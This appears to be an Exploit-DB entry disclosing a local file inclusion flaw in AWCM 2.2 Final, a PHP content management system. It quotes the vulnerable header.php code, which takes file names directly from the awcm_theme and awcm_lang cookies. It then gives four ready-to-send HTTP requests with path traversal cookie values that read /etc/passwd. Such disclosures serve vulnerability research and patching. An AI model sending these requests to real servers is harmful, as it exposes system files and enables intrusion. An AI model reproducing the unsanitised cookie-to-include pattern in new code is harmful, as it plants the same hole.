AWCM 2.2 Final - Local File Inclusion

Author: Cucura
type: webapps
platform: php
port: 
date_added: 2011-01-26 
date_updated: 2011-01-27 
verified: 1 
codes: CVE-2011-0903;OSVDB-73979;OSVDB-73978 
tags: 
aliases:  
screenshot_url:  
application_url: http://www.exploit-db.comAWCMv2.2final.zip

[+]Exploit Title: [awcm v2.2 final Local File Inclusion]
[+]Date: [26-01-2011]
[+]Author: Cucura , Ste@lth (Bl@ck_Falc0n)
[+]Software Link: [www.awcm-cms.com]
[+]Version: [v2.2]
[+]CVE : -
[+]Contact: Blackcucura[at]Gmail.com
http://sourceforge.net/projects/awcm/files/
-----------------------------------------------------------------

Vuln C0de  in header.php

if(isset($_COOKIE['awcm_theme'])) {
	$theme_file = $_COOKIE['awcm_theme'];
} else {
	$theme_file = $mysql_maininfo_row['defult_theme'];
}

if(isset($_COOKIE['awcm_lang'])) {
	$lang_file = $_COOKIE['awcm_lang'];
} else {
	$lang_file = $mysql_maininfo_row['defult_language'];
}


-----------------------------------------------------------------


[+]Exploit: http://target/awcm/index.php

	GET http://192.168.43.173/awcm/index.php HTTP/1.0
	Cookie: awcm_theme=../../../../etc/passwd%00;


[+]Exploit: http://target/awcm/index.php

	GET http://192.168.43.173/awcm/index.php HTTP/1.0
	Cookie: awcm_lang=../../../../etc/passwd%00;


[+]Exploit: http://target/awcm/header.php

	GET http://192.168.43.173/awcm/header.php HTTP/1.0
	Cookie: awcm_lang=../../../../etc/passwd%00;


[+]Exploit: http://target/awcm/header.php

	GET http://192.168.43.173/awcm/header.php HTTP/1.0
	Cookie: awcm_theme=../../../../etc/passwd%00;


-----------------------------------------------------------------
Greetz : SpeeDr00t, ReDr0se, InsideJ , eidisky Bl@ck Falc0n Team